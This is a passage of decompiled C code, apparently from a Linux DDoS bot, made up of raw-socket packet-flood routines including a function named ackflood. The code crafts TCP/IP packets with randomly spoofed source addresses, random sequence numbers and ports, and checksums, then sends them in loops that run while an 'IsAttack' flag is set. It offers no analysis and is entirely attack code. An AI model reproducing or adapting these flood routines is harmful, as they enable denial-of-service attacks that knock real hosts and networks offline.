- _v52 = 0;
- _v52 = _v216;
- if(_v52 <= 0 || _v52 > 86400) {
- _v52 = 20;
- }
- _v648 = *( *(_v56[0x10]));
- _v48 = 20;
- _v44 = &_v508;
- _v40 = &_v508 + 20;
- _v36 = &_v508 + 40;
- *_v44 = *_v44 & 255 & 240 | 5;
- *_v44 = *_v44 & 255 & 15 | 64;
- (_v44[1]) = 0;
- (_v44[2]) = 60;
- *__esp = 31337;
- _t1457 = L08075240(__esp);
- (_v44[4]) = _t1457;
- (_v44[6]) = 0;
- (_v44[8]) = 250;
- (_v44[9]) = 6;
- (_v44[0xa]) = 0;
- (_v44[0x10]) = _v648;
- *__esp = _v84 & 65535;
- _t1466 = L08075240(__esp);
- *((short*)(_v40 + 2)) = _t1466;
- *__esp = 31337;
- _t1468 = L08075230(__esp);
- *((intOrPtr*)(_v40 + 4)) = _t1468;
- *__esp = 0;
- _t1470 = L08075230(__esp);
- *((intOrPtr*)(_v40 + 8)) = _t1470;
- *(_v40 + 12) = *(_v40 + 12) & 255 & 240;
- *(_v40 + 12) = *(_v40 + 12) & 255 & 15 | 160;
- *(_v40 + 13) = _v70 & 65535;
- *__esp = 57344;
- _t1479 = L08075240(__esp);
- *((short*)(_v40 + 14)) = _t1479;
- *(_v40 + 16) = 0;
- *(_v40 + 18) = 0;
- if((_v48 & 3) != 0) {
- _v48 = (_v48 + (_v48 >> 31 >> 30) & 3) - (_v48 >> 31 >> 30) + 1 << 2;
- }
- _v48 = 40;
- _v656 = 1;
- _v32 = &_v656;
- _v700 = 4;
- _v704 = _v32;
- _v708 = 3;
- _v712 = 0;
- _t1487 = _v68;
- *__esp = _t1487;
- L08073640(_t1585, __esp);
- if(_t1487 >= 0) {
- } else {
- _v28 = 0;
- while(1) {
- _t1488 = IsAttack;
- if(_t1488 == 0) {
- break;
- }
- _v24 = 0;
- while(_v24 <= 999) {
- L0805EBE0();
- _t1637 = _t1488;
- _v692 = -2147450879;
- _v680 = ((_v692 * _t1637 >> 32) + _t1637 >> 15) - (_t1637 >> 31);
- _v680 = _t1637 - (_v680 << 16) - _v680;
- *__esp = _v680;
- _t1498 = L08075230(__esp);
- _t1499 = _v40;
- *((intOrPtr*)(_t1499 + 4)) = _t1498;
- L0805EBE0();
- _t1638 = _t1499;
- _v692 = -2147450879;
- _v676 = ((_v692 * _t1638 >> 32) + _t1638 >> 15) - (_t1638 >> 31);
- _v676 = _t1638 - (_v676 << 16) - _v676;
- *__esp = _v676 & 65535 & 65535;
- _t1510 = L08075240(__esp);
- _t1511 = _v40;
- *((short*)(_t1511 + 14)) = _t1510;
- L0805EBE0();
- _t1639 = _t1511;
- _v692 = -2147450879;
- _t1585 = ((_v692 * _t1639 >> 32) + _t1639 >> 15) - (_t1639 >> 31);
- _v672 = _t1585;
- _v672 = _t1639 - (_v672 << 16) - _v672;
- *_v40 = _v672 & 65535;
- _t1522 = _v76 - _v80;
- _v20 = _t1522;
- if(_v20 <= 0) {
- goto L23;
- } else {
- L0805EBE0();
- _v16 = _t1522 % _v20 + _v80;
- L0806F850(_t1585, _t1810, __esi, &_v252, 0, 20);
- _v696 = _v16 & 255;
- _v700 = _v16 >> 8 & 255;
- _v704 = _v16 >> 16 & 255;
- L0805FF50( &_v252, "%d.%d.%d.%d", _v16 >> 24);
- _t1539 = L08073B40( &_v252);
- (_v44[0xc]) = _t1539;
- L0806F850(_v16 >> 16 & 255, _t1810, __esi, &_v636, 0, 128);
- L0806F9E0(_t1810, __esi, &_v636, &(_v44[0xc]), 4);
- L0806F9E0(_t1810, __esi, &((char*)( &_v636)[2]), &(_v44[0x10]), 4);
- _v628 = 0;
- _v627 = (_v44[9]) & 255;
- _v626 = _v48 >> 8;
- _v625 = _v48;
- L0806F9E0(_t1810, __esi, &((char*)( &_v636)[6]), _v40, 20);
- L0806F9E0(_t1810, __esi, &((char*)( &_v636)[0x10]), _v36, 8);
- _t1567 = csum( &_v636, _v48 + 12);
- *(_v40 + 16) = _t1567;
- __esi = &_v652;
- _t1570 = (_v44[2]) & 65535;
- _t1585 = _t1570 & 65535;
- L0805EBE0();
- _v696 = 16;
- _v700 = __esi;
- _v704 = 0;
- _v708 = _t1585 + _t1570 % _v60;
- _t1488 = L08052C20(__esi, _v68, &_v508);
- _v24 = _v24 + 1;
- continue;
- }
- goto L23;
- }
- }
- }
- }
- }
- L23:
- L08052A50(_v68);
- _t928 = L08051050();
- L08051000(_t928);
- *__esp = 0;
- L08050FE0();
- goto L24;
- L24:
- _push(_t1817);
- _t1818 = __esp;
- _push(_t1585);
- __esp = __esp - 692;
- L0806F910( &_v932, 156);
- L0806F9E0(_t1810, __esi, &_v932, _v712, 156);
- _v774 = 16;
- _v1412 = 16;
- _t935 = &_v1352;
- *__esp = _t935;
- L0806F910();
- _v1408 = 6;
- L08073680(_t1585, __esp, 2, 3);
- _v772 = _t935;
- _v1352 = 2;
- _t937 = &_v932 + 16;
- L08075250(_t937);
- _v768 = _t937;
- if(_v768 != 0) {
- _t1292 = L0806E4D0( &((char*)( &_v220)[4]), "0.0.0.0");
- if(_t1292 == 0) {
- } else {
- _v52 = 0;
- _v52 = _v208;
- if(_v52 <= 0 || _v52 > 86400) {
- _v52 = 20;
- }
- _v636 = *( *(_v56[0x10]));
- _v48 = 20;
- _v44 = &_v496;
- _v40 = &_v496 + 20;
- _v36 = &_v496 + 40;
- *_v44 = *_v44 & 255 & 240 | 5;
- *_v44 = *_v44 & 255 & 15 | 64;
- (_v44[1]) = 0;
- (_v44[2]) = 60;
- *__esp = 31337;
- _t1311 = L08075240(__esp);
- (_v44[4]) = _t1311;
- (_v44[6]) = 0;
- (_v44[8]) = 250;
- (_v44[9]) = 6;
- (_v44[0xa]) = 0;
- (_v44[0x10]) = _v636;
- *__esp = _v76 & 65535;
- _t1320 = L08075240(__esp);
- *((short*)(_v40 + 2)) = _t1320;
- *__esp = 31337;
- _t1322 = L08075230(__esp);
- *((intOrPtr*)(_v40 + 4)) = _t1322;
- *__esp = 0;
- _t1324 = L08075230(__esp);
- *((intOrPtr*)(_v40 + 8)) = _t1324;
- *(_v40 + 12) = *(_v40 + 12) & 255 & 240;
- *(_v40 + 12) = *(_v40 + 12) & 255 & 15 | 160;
- *(_v40 + 13) = _v62 & 65535;
- *__esp = 57344;
- _t1333 = L08075240(__esp);
- *((short*)(_v40 + 14)) = _t1333;
- *(_v40 + 16) = 0;
- *(_v40 + 18) = 0;
- if((_v48 & 3) != 0) {
- _v48 = (_v48 + (_v48 >> 31 >> 30) & 3) - (_v48 >> 31 >> 30) + 1 << 2;
- }
- _v48 = 40;
- _v644 = 1;
- _v32 = &_v644;
- _v1400 = 4;
- _v1404 = _v32;
- _v1408 = 3;
- _v1412 = 0;
- _t1341 = _v60;
- *__esp = _t1341;
- L08073640(_t1585, __esp);
- if(_t1341 >= 0) {
- } else {
- _v28 = 0;
- while(1) {
- _t1342 = IsAttack;
- if(_t1342 == 0) {
- break;
- }
- _v24 = 0;
- while(_v24 <= 999) {
- L0805EBE0();
- _t1629 = _t1342;
- _v672 = -2147450879;
- _v664 = ((_v672 * _t1629 >> 32) + _t1629 >> 15) - (_t1629 >> 31);
- _v664 = _t1629 - (_v664 << 16) - _v664;
- *__esp = _v664;
- _t1352 = L08075230(__esp);
- _t1353 = _v40;
- *((intOrPtr*)(_t1353 + 4)) = _t1352;
- L0805EBE0();
- _t1630 = _t1353;
- _v672 = -2147450879;
- _v660 = ((_v672 * _t1630 >> 32) + _t1630 >> 15) - (_t1630 >> 31);
- _v660 = _t1630 - (_v660 << 16) - _v660;
- *__esp = _v660 & 65535 & 65535;
- _t1364 = L08075240(__esp);
- _t1365 = _v40;
- *((short*)(_t1365 + 14)) = _t1364;
- L0805EBE0();
- _t1631 = _t1365;
- _v672 = -2147450879;
- _t1585 = ((_v672 * _t1631 >> 32) + _t1631 >> 15) - (_t1631 >> 31);
- _v656 = _t1585;
- _v656 = _t1631 - (_v656 << 16) - _v656;
- *_v40 = _v656 & 65535;
- _t1376 = _v68 - _v72;
- _v20 = _t1376;
- if(_v20 <= 0) {
- goto L44;
- } else {
- L0805EBE0();
- _v16 = _t1376 % _v20 + _v72;
- L0806F850(_t1585, _t1810, __esi, &_v240, 0, 20);
- _t1585 = _v16 >> 16 & 255;
- _v1396 = _v16 & 255;
- _v1400 = _v16 >> 8 & 255;
- _v1404 = _t1585;
- L0805FF50( &_v240, "%d.%d.%d.%d", _v16 >> 24);
- _t1393 = L08073B40( &_v240);
- (_v44[0xc]) = _t1393;
- L0806F850(_t1585, _t1810, __esi, &_v624, 0, 128);
- L0806F9E0(_t1810, __esi, &_v624, &(_v44[0xc]), 4);
- L0806F9E0(_t1810, __esi, &((char*)( &_v624)[2]), &(_v44[0x10]), 4);
- _v616 = 0;
- _v615 = (_v44[9]) & 255;
- _v614 = _v48 >> 8;
- _v613 = _v48;
- L0806F9E0(_t1810, __esi, &((char*)( &_v624)[6]), _v40, 20);
- L0806F9E0(_t1810, __esi, &((char*)( &_v624)[0x10]), _v36, 8);
- _t1421 = csum( &_v624, _v48 + 12);
- *(_v40 + 16) = _t1421;
- _v1396 = 16;
- _v1400 = &_v640;
- _v1404 = 0;
- _v1408 = (_v44[2]) & 65535 & 65535;
- _t1342 = L08052C20(__esi, _v60, &_v496);
- _v24 = _v24 + 1;
- continue;
- }
- goto L44;
- }
- }
- }
- }
- }
- L44:
- L08052A50(_v60);
- _t940 = L08051050();
- L08051000(_t940);
- *__esp = 0;
- L08050FE0();
- goto L45;
- L45:
- _push(_t1818);
- _t1819 = __esp;
- _push(_t1810);
- _push(__esi);
- _push(_t1585);
- __esp = __esp - 700;
- L0806F910( &_v1640, 156);
- L0806F9E0(_t1810, __esi, &_v1640, _v1412, 156);
- _v1482 = 16;
- _v2128 = 16;
- _t947 = &_v2060;
- *__esp = _t947;
- L0806F910();
- _v2124 = 6;
- L08073680(_t1585, __esp, 2, 3);
- _v1480 = _t947;
- _v2060 = 2;
- _t949 = &_v1640 + 16;
- L08075250(_t949);
- _v1476 = _t949;
- if(_v1476 != 0) {
- _t1139 = L0806E4D0( &_v232 + 16, "0.0.0.0");
- if(_t1139 == 0) {
- } else {
- _v64 = 0;
- _v64 = _v220;
- if(_v64 <= 0 || _v64 > 86400) {
- _v64 = 20;
- }
- _v648 = *( *( *(_v68 + 16)));
- _v60 = 20;
- _v56 = &_v508;
- _v52 = &_v508 + 20;
- _v48 = &_v508 + 40;
- *_v56 = *_v56 & 255 & 240 | 5;
- *_v56 = *_v56 & 255 & 15 | 64;
- (_v56[1]) = 0;
- (_v56[2]) = 60;
- *__esp = 31337;
- _t1158 = L08075240(__esp);
- (_v56[4]) = _t1158;
- (_v56[6]) = 0;
- (_v56[8]) = 250;
- (_v56[9]) = 6;
- (_v56[0xa]) = 0;
- (_v56[0x10]) = _v648;
- *__esp = _v88 & 65535;
- _t1167 = L08075240(__esp);
- *((short*)(_v52 + 2)) = _t1167;
- *__esp = 31337;
- _t1169 = L08075230(__esp);
- *((intOrPtr*)(_v52 + 4)) = _t1169;
- *__esp = 0;
- _t1171 = L08075230(__esp);
- *((intOrPtr*)(_v52 + 8)) = _t1171;
- *(_v52 + 12) = *(_v52 + 12) & 255 & 240;
- *(_v52 + 12) = *(_v52 + 12) & 255 & 15 | 160;
- *(_v52 + 13) = _v74 & 65535;
- *__esp = 57344;
- _t1180 = L08075240(__esp);
- *((short*)(_v52 + 14)) = _t1180;
- *((short*)(_v52 + 16)) = 0;
- *(_v52 + 18) = 0;
- if((_v60 & 3) != 0) {
- _v60 = (_v60 + (_v60 >> 31 >> 30) & 3) - (_v60 >> 31 >> 30) + 1 << 2;
- }
- _v60 = 40;
- _v656 = 1;
- _v44 = &_v656;
- _v2116 = 4;
- _v2120 = _v44;
- _v2124 = 3;
- _v2128 = 0;
- _t1188 = _v72;
- *__esp = _t1188;
- L08073640(_t1585, __esp);
- if(_t1188 >= 0) {
- } else {
- _v40 = 0;
- while(1) {
- _t1189 = IsAttack;
- if(_t1189 == 0) {
- break;
- }
- _v36 = 0;
- while(_v36 <= 999) {
- L0805EBE0();
- _t1619 = _t1189;
- _v688 = -2147450879;
- _v680 = ((_v688 * _t1619 >> 32) + _t1619 >> 15) - (_t1619 >> 31);
- _v680 = _t1619 - (_v680 << 16) - _v680;
- *__esp = _v680;
- _t1199 = L08075230(__esp);
- _t1200 = _v52;
- *((intOrPtr*)(_t1200 + 4)) = _t1199;
- L0805EBE0();
- _t1620 = _t1200;
- _v688 = -2147450879;
- _v676 = ((_v688 * _t1620 >> 32) + _t1620 >> 15) - (_t1620 >> 31);
- _v676 = _t1620 - (_v676 << 16) - _v676;
- *__esp = _v676 & 65535 & 65535;
- _t1211 = L08075240(__esp);
- _t1212 = _v52;
- *((short*)(_t1212 + 14)) = _t1211;
- L0805EBE0();
- _t1621 = _t1212;
- _v688 = -2147450879;
- _t1585 = ((_v688 * _t1621 >> 32) + _t1621 >> 15) - (_t1621 >> 31);
- _v672 = _t1585;
- _t1810 = _t1621 - (_v672 << 16) - _v672;
- _v672 = _t1621 - (_v672 << 16) - _v672;
- *_v52 = _v672 & 65535;
- _t1223 = _v80 - _v84;
- _v32 = _t1223;
- if(_v32 <= 0) {
- goto L65;
- } else {
- L0805EBE0();
- _v28 = _t1223 % _v32 + _v84;
- L0806F850(_t1585, _t1810, __esi, &_v252, 0, 20);
- _v2112 = _v28 & 255;
- _v2116 = _v28 >> 8 & 255;
- _v2120 = _v28 >> 16 & 255;
- L0805FF50( &_v252, "%d.%d.%d.%d", _v28 >> 24);
- _t1240 = L08073B40( &_v252);
- (_v56[0xc]) = _t1240;
- L0806F850(_v28 >> 16 & 255, _t1810, __esi, &_v636, 0, 128);
- L0806F9E0(_t1810, __esi, &_v636, &(_v56[0xc]), 4);
- L0806F9E0(_t1810, __esi, &((char*)( &_v636)[2]), &(_v56[0x10]), 4);
- _v628 = 0;
- _v627 = (_v56[9]) & 255;
- _v626 = _v60 >> 8;
- _v625 = _v60;
- L0806F9E0(_t1810, __esi, &((char*)( &_v636)[6]), _v52, 20);
- L0806F9E0(_t1810, __esi, &((char*)( &_v636)[0x10]), _v48, 8);
- _t1268 = csum( &_v636, _v60 + 12);
- *((short*)(_v52 + 16)) = _t1268;
- _t1585 = &_v652;
- _t1271 = (_v56[2]) & 65535;
- __esi = _t1271 & 65535;
- L0805EBE0();
- _t1625 = _t1271;
- _v688 = -1600085855;
- _t1722 = _v688 * _t1625 >> 32;
- _t1276 = _t1625 >> 31;
- _t1810 = (_t1722 + _t1625 >> 7) - _t1276;
- _v668 = (_t1722 + _t1625 >> 7) - _t1276;
- _v668 = _t1625 - _t1276 * _v668;
- _v2112 = 16;
- _v2116 = _t1585;
- _v2120 = 0;
- _v2124 = __esi + _v668 + 800;
- _t1189 = L08052C20(__esi, _v72, &_v508);
- _v36 = _v36 + 1;
- continue;
- }
- goto L65;
- }
- }
- }
- }
- }
- L65:
- L08052A50(_v72);
- _t952 = L08051050();
- L08051000(_t952);
- *__esp = 0;
- L08050FE0();
- goto L66;
- L66:
- _push(_t1819);
- _t1820 = __esp;
- _push(__esi);
- _push(_t1585);
- __esp = __esp - 704;
- L0806F910( &_v2364, 160);
- L0806F9E0(_t1810, __esi, &_v2364, _v2128, 160);
- _v2202 = 16;
- _v2844 = 16;
- _t959 = &_v2784;
- *__esp = _t959;
- L0806F910();
- _v2840 = 6;
- L08073680(_t1585, __esp, 2, 3);
- _v2200 = _t959;
- _v2784 = 2;
- _v2196 = _v2352;
- if(_v2196 <= 60 || _v76 > 800) {
- _v76 = 61;
- }
- _v72 = _v76 - 60;
- _t964 = &_v244 + 20;
- L08075250(_t964);
- _v68 = _t964;
- if(_v68 != 0) {
- _t990 = L0806E4D0( &_v244 + 20, "0.0.0.0");
- if(_t990 == 0) {
- } else {
- _v64 = 0;
- _v64 = _v228;
- if(_v64 <= 0 || _v64 > 86400) {
- _v64 = 20;
- }
- _v660 = *( *( *(_v68 + 16)));
- _v60 = 20;
- _v56 = &_v520;
- _v52 = &_v520 + 20;
- _v48 = &_v520 + 40;
- *_v56 = *_v56 & 255 & 240 | 5;
- *_v56 = *_v56 & 255 & 15 | 64;
- (_v56[1]) = 0;
- (_v56[2]) = 60;
- *__esp = 31337;
- _t1009 = L08075240(__esp);
- (_v56[4]) = _t1009;
- (_v56[6]) = 0;
- (_v56[8]) = 250;
- (_v56[9]) = 6;
- (_v56[0xa]) = 0;
- (_v56[0x10]) = _v660;
- *__esp = _v96 & 65535;
- _t1018 = L08075240(__esp);
- *((short*)(_v52 + 2)) = _t1018;
- *__esp = 31337;
- _t1020 = L08075230(__esp);
- *((intOrPtr*)(_v52 + 4)) = _t1020;
- *__esp = 0;
- _t1022 = L08075230(__esp);
- *((intOrPtr*)(_v52 + 8)) = _t1022;
- *(_v52 + 12) = *(_v52 + 12) & 255 & 240;
- *(_v52 + 12) = *(_v52 + 12) & 255 & 15 | 160;
- *(_v52 + 13) = _v82 & 65535;
- *__esp = 57344;
- _t1031 = L08075240(__esp);
- *((short*)(_v52 + 14)) = _t1031;
- *((short*)(_v52 + 16)) = 0;
- *(_v52 + 18) = 0;
- if((_v60 & 3) != 0) {
- _v60 = (_v60 + (_v60 >> 31 >> 30) & 3) - (_v60 >> 31 >> 30) + 1 << 2;
- }
- _v60 = 40;
- _v668 = 1;
- _v44 = &_v668;
- _v2832 = 4;
- _v2836 = _v44;
- _v2840 = 3;
- _v2844 = 0;
- _t1039 = _v80;
- *__esp = _t1039;
- L08073640(_t1585, __esp);
- if(_t1039 >= 0) {
- } else {
- _v40 = 0;
- while(1) {
- _t1040 = IsAttack;
- if(_t1040 == 0) {
- break;
- }
- _v36 = 0;
- while(_v36 <= 999) {
- L0805EBE0();
- _t1611 = _t1040;
- _v704 = -2147450879;
- _v692 = ((_v704 * _t1611 >> 32) + _t1611 >> 15) - (_t1611 >> 31);
- _v692 = _t1611 - (_v692 << 16) - _v692;
- *__esp = _v692;
- _t1050 = L08075230(__esp);
- _t1051 = _v52;
- *((intOrPtr*)(_t1051 + 4)) = _t1050;
- L0805EBE0();
- _t1612 = _t1051;
- _v704 = -2147450879;
- _v688 = ((_v704 * _t1612 >> 32) + _t1612 >> 15) - (_t1612 >> 31);
- _v688 = _t1612 - (_v688 << 16) - _v688;
- *__esp = _v688 & 65535 & 65535;
- _t1062 = L08075240(__esp);
- _t1063 = _v52;
- *((short*)(_t1063 + 14)) = _t1062;
- L0805EBE0();
- _t1613 = _t1063;
- _v704 = -2147450879;
- _t1671 = _v704 * _t1613 >> 32;
- _t1591 = (_t1671 + _t1613 >> 15) - (_t1613 >> 31);
- _v684 = (_t1671 + _t1613 >> 15) - (_t1613 >> 31);
- _v684 = _t1613 - (_v684 << 16) - _v684;
- *_v52 = _v684 & 65535;
- _t1074 = _v88 - _v92;
- _v32 = _t1074;
- if(_v32 <= 0) {
- goto L89;
- } else {
- L0805EBE0();
- _v28 = _t1074 % _v32 + _v92;
- L0806F850(_t1591, _t1810, __esi, &_v264, 0, 20);
- _v2828 = _v28 & 255;
- _v2832 = _v28 >> 8 & 255;
- _v2836 = _v28 >> 16 & 255;
- L0805FF50( &_v264, "%d.%d.%d.%d", _v28 >> 24);
- _t1091 = L08073B40( &_v264);
- (_v56[0xc]) = _t1091;
- L0806F850(_v28 >> 16 & 255, _t1810, __esi, &_v648, 0, 128);
- L0806F9E0(_t1810, __esi, &_v648, &(_v56[0xc]), 4);
- L0806F9E0(_t1810, __esi, &((char*)( &_v648)[2]), &(_v56[0x10]), 4);
- _v640 = 0;
- _v639 = (_v56[9]) & 255;
- _v638 = _v60 >> 8;
- _v637 = _v60;
- L0806F9E0(_t1810, __esi, &((char*)( &_v648)[6]), _v52, 20);
- L0806F9E0(_t1810, __esi, &((char*)( &_v648)[0x10]), _v48, 8);
- _t1119 = csum( &_v648, _v60 + 12);
- *(_v52 + 16) = _t1119;
- __esi = &_v664;
- L0805EBE0();
- _v2828 = 16;
- _v2832 = __esi;
- _v2836 = 0;
- _v2840 = ((_v56[2]) & 65535 & 65535) + ((_v56[2]) & 65535) % _v72;
- _t1040 = L08052C20(__esi, _v80, &_v520);
- _v36 = _v36 + 1;
- continue;
- }
- goto L89;
- }
- }
- }
- }
- }
- L89:
- L08052A50(_v80);
- _t967 = L08051050();
- L08051000(_t967);
- *__esp = 0;
- L08050FE0();
- goto L90;
- L90:
- _push(_t1820);
- __esp = __esp - 16;
- _v2864 = _v2840;
- _v2860 = _v2844;
- _v2856 = 0;
- _v2866 = 0;
- while(_v32 > 1) {
- _v24 = _v24 + ( *_v28 & 65535 & 65535);
- _v28 = _v28 + 2;
- _v32 = _v32 - 2;
- }
- }
- int ackflood(_Unknown_base* ThreadData)
- {// addr = 0x0804AF06
- SYNPACKET SynObj;
- short int tcp_flags;
- char[19] szNewIP;
- char[255] szPackData;
- char[127] pheader;
- struct sockaddr_in servaddr;
- int hSockft;
- struct hostent* szhost;
- int nTime;
- int tcphdr_size;
- struct ip* iph;
- struct tcphdr* tcph;
- struct tcp_options* tcpopt;
- int one;
- const int* val;
- int looptime;
- int aa;
- int ShamBase;
- int dwNewIP;
- signed int _v12;
- signed int _v16;
- signed int _v20;
- signed int _v24;
- signed int _v28;
- _unknown_ _v30;
- signed int _v32;
- signed int _v36;
- char* _v40;
- unsigned int _v44;
- signed int _v48;
- signed char* _v52;
- unsigned int _v56;
- signed int _v58;
- unsigned int _v60;
- intOrPtr _v64;
- signed int _v68;
- signed short _v70;
- signed int _v72;
- signed int _v76;
- signed short _v78;
- intOrPtr _v80;
- signed int _v84;
- intOrPtr _v88;
- signed int _v92;
- signed int _v204;
- unsigned int _v216;
- unsigned int _v224;
- char _v228;
- char _v236;
- char _v240;
- char _v248;
- char _v260;
- char _v492;
- char _v504;
- char _v516;
- unsigned int _v609;
- unsigned short _v610;
- signed int _v611;
- signed int _v612;
- short unsigned int _v620;
- unsigned int _v621;
- unsigned short _v622;
- signed int _v623;
- signed int _v624;
- short unsigned int _v632;
- unsigned int _v633;
- unsigned short _v634;
- signed int _v635;
- signed int _v636;
- char _v640;
- short unsigned int _v644;
- char _v648;
- char _v652;
- signed int _v656;
- char _v660;
- char _v664;
- signed short _v668;
- signed short _v672;
- signed int _v676;
- signed short _v680;
- signed short _v684;
- signed int _v688;
- signed int _v692;
- signed int _v696;
- signed int _v700;
- intOrPtr _v760;
- signed int _v764;
- signed int _v766;
- char _v924;
- signed int _v1344;
- signed int _v1396;
- signed int _v1400;
- signed int _v1404;
- signed char _v1408;
- signed int _v1412;
- intOrPtr _v1480;
- signed int _v1484;
- signed int _v1486;
- intOrPtr _v1636;
- char _v1648;
- signed int _v2068;
- signed int _v2112;
- signed int _v2116;
- signed int _v2120;
- signed char _v2124;
- signed int _v2128;
- signed int _v2140;
- signed int _v2144;
- signed char _v2148;
- signed int _v2150;
- _unknown_ r6;
- _unknown_ _t694;
- unsigned int _t695;
- signed char* _t697;
- _unknown_ _t699;
- _unknown_ _t700;
- _unknown_ _t701;
- _unknown_ _t702;
- _unknown_ _t706;
- signed int _t707;
- intOrPtr _t709;
- _unknown_ _t711;
- _unknown_ _t712;
- _unknown_ _t713;
- _unknown_ _t714;
- _unknown_ _t718;
- signed int _t719;
- intOrPtr _t724;
- _unknown_ _t726;
- _unknown_ _t727;
- _unknown_ _t728;
- _unknown_ _t729;
- _unknown_ _t750;
- signed char _t769;
- short _t778;
- intOrPtr _t780;
- intOrPtr _t782;
- short _t791;
- signed int _t799;
- signed int _t800;
- _unknown_ _t802;
- intOrPtr _t810;
- signed int _t811;
- _unknown_ _t813;
- short _t822;
- signed int _t823;
- _unknown_ _t825;
- signed int _t834;
- _unknown_ _t836;
- _unknown_ _t841;
- signed char _t851;
- _unknown_ _t854;
- _unknown_ _t858;
- _unknown_ _t863;
- _unknown_ _t872;
- _unknown_ _t876;
- short unsigned int _t879;
- _unknown_ _t884;
- _unknown_ _t899;
- signed char _t918;
- short _t927;
- intOrPtr _t929;
- intOrPtr _t931;
- short _t940;
- signed int _t948;
- signed int _t949;
- _unknown_ _t951;
- intOrPtr _t959;
- signed int _t960;
- _unknown_ _t962;
- short _t971;
- signed int _t972;
- _unknown_ _t974;
- signed int _t983;
- _unknown_ _t985;
- _unknown_ _t990;
- signed char _t1000;
- _unknown_ _t1003;
- _unknown_ _t1007;
- _unknown_ _t1012;
- _unknown_ _t1021;
- _unknown_ _t1025;
- short unsigned int _t1028;
- signed int _t1031;
- _unknown_ _t1033;
- signed int _t1036;
- _unknown_ _t1052;
- char _t1071;
- short _t1080;
- intOrPtr _t1082;
- intOrPtr _t1084;
- short _t1093;
- signed int _t1101;
- signed int _t1102;
- _unknown_ _t1104;
- intOrPtr _t1112;
- signed int _t1113;
- _unknown_ _t1115;
- short _t1124;
- signed int _t1125;
- _unknown_ _t1127;
- signed int _t1136;
- _unknown_ _t1138;
- _unknown_ _t1143;
- char _t1153;
- _unknown_ _t1156;
- _unknown_ _t1160;
- _unknown_ _t1165;
- _unknown_ _t1174;
- _unknown_ _t1178;
- short unsigned int _t1181;
- signed int _t1196;
- signed int _t1216;
- signed int _t1217;
- signed int _t1218;
- signed int _t1224;
- signed int _t1225;
- signed int _t1226;
- signed int _t1230;
- signed int _t1234;
- signed int _t1235;
- signed int _t1236;
- signed int _t1268;
- _unknown_ _t1276;
- _unknown_ _t1284;
- _unknown_ _t1312;
- signed int _t1319;
- _unknown_ _t1356;
- _unknown_ _t1372;
- signed int* _t1373;
- signed int* _t1374;
- _unknown_ _t1375;
- _push(_t1196);
- __esp = __esp - 692;
- L0806F910( &_v216, 156);
- L0806F9E0(_t1365, __esi, &_v216, ThreadData, 156);
- _v58 = 16;
- _v696 = 16;
- _t695 = &_v636;
- *__esp = _t695;
- L0806F910();
- _v692 = 6;
- L08073680(_t1196, __esp, 2, 3);
- _v56 = _t695;
- _v636 = 2;
- _t697 = &((char*)( &_v216)[4]);
- L08075250(_t697);
- _v52 = _t697;
- if(_v52 != 0) {
- _t1052 = L0806E4D0( &((char*)( &_v216)[4]), "0.0.0.0");
- if(_t1052 == 0) {
- } else {
- _v48 = 0;
- _v48 = _v204;
- if(_v48 <= 0 || _v48 > 86400) {
- _v48 = 20;
- }
- _v632 = *( *(_v52[0x10]));
- _v44 = 20;
- _v40 = &_v492;
- _v36 = &_v492 + 20;
- _v32 = &_v492 + 40;
- *_v40 = *_v40 & 255 & 240 | 5;
- *_v40 = *_v40 & 255 & 15 | 64;
- (_v40[1]) = 0;
- (_v40[2]) = 60;
- *__esp = 31337;
- _t1071 = L08075240(__esp);
- (_v40[4]) = _t1071;
- (_v40[6]) = 0;
- (_v40[8]) = 250;
- (_v40[9]) = 6;
- (_v40[0xa]) = 0;
- (_v40[0x10]) = _v632;
- *__esp = _v72 & 65535;
- _t1080 = L08075240(__esp);
- *((short*)(_v36 + 2)) = _t1080;
- *__esp = 31337;
- _t1082 = L08075230(__esp);
- *((intOrPtr*)(_v36 + 4)) = _t1082;
- *__esp = 0;
- _t1084 = L08075230(__esp);
- *((intOrPtr*)(_v36 + 8)) = _t1084;
- *(_v36 + 12) = *(_v36 + 12) & 255 & 240;
- *(_v36 + 12) = *(_v36 + 12) & 255 & 15 | 160;
- *(_v36 + 13) = _v58 & 65535;
- *__esp = 57344;
- _t1093 = L08075240(__esp);
- *((short*)(_v36 + 14)) = _t1093;
- *(_v36 + 16) = 0;
- *(_v36 + 18) = 0;
- if((_v44 & 3) != 0) {
- _v44 = (_v44 + (_v44 >> 31 >> 30) & 3) - (_v44 >> 31 >> 30) + 1 << 2;
- }
- _v44 = 40;
- _v640 = 1;
- _v28 = &_v640;
- _v684 = 4;
- _v688 = _v28;
- _v692 = 3;
- _v696 = 0;
- _t1101 = _v56;
- *__esp = _t1101;
- L08073640(_t1196, __esp);
- if(_t1101 >= 0) {
- } else {
- _v24 = 0;
- while(1) {
- _t1102 = IsAttack;
- if(_t1102 == 0) {
- break;
- }
- _v20 = 0;
- while(_v20 <= 999) {
- L0805EBE0();
- _t1234 = _t1102;
- _v668 = -2147450879;
- _v660 = ((_v668 * _t1234 >> 32) + _t1234 >> 15) - (_t1234 >> 31);
- _v660 = _t1234 - (_v660 << 16) - _v660;
- *__esp = _v660;
- _t1112 = L08075230(__esp);
- _t1113 = _v36;
- *((intOrPtr*)(_t1113 + 4)) = _t1112;
- L0805EBE0();
- _t1235 = _t1113;
- _v668 = -2147450879;
- _v656 = ((_v668 * _t1235 >> 32) + _t1235 >> 15) - (_t1235 >> 31);
- _v656 = _t1235 - (_v656 << 16) - _v656;
- *__esp = _v656 & 65535 & 65535;
- _t1124 = L08075240(__esp);
- _t1125 = _v36;
- *((short*)(_t1125 + 14)) = _t1124;
- L0805EBE0();
- _t1236 = _t1125;
- _v668 = -2147450879;
- _t1196 = ((_v668 * _t1236 >> 32) + _t1236 >> 15) - (_t1236 >> 31);
- _v652 = _t1196;
- _v652 = _t1236 - (_v652 << 16) - _v652;
- *_v36 = _v652 & 65535;
- _t1136 = _v64 - _v68;
- _v16 = _t1136;
- if(_v16 <= 0) {
- goto L20;
- } else {
- L0805EBE0();
- _v12 = _t1136 % _v16 + _v68;
- L0806F850(_t1196, _t1365, __esi, &_v236, 0, 20);
- _t1196 = _v12 >> 16 & 255;
- _v680 = _v12 & 255;
- _v684 = _v12 >> 8 & 255;
- _v688 = _t1196;
- L0805FF50( &_v236, "%d.%d.%d.%d", _v12 >> 24);
- _t1153 = L08073B40( &_v236);
- (_v40[0xc]) = _t1153;
- L0806F850(_t1196, _t1365, __esi, &_v620, 0, 128);
- L0806F9E0(_t1365, __esi, &_v620, &(_v40[0xc]), 4);
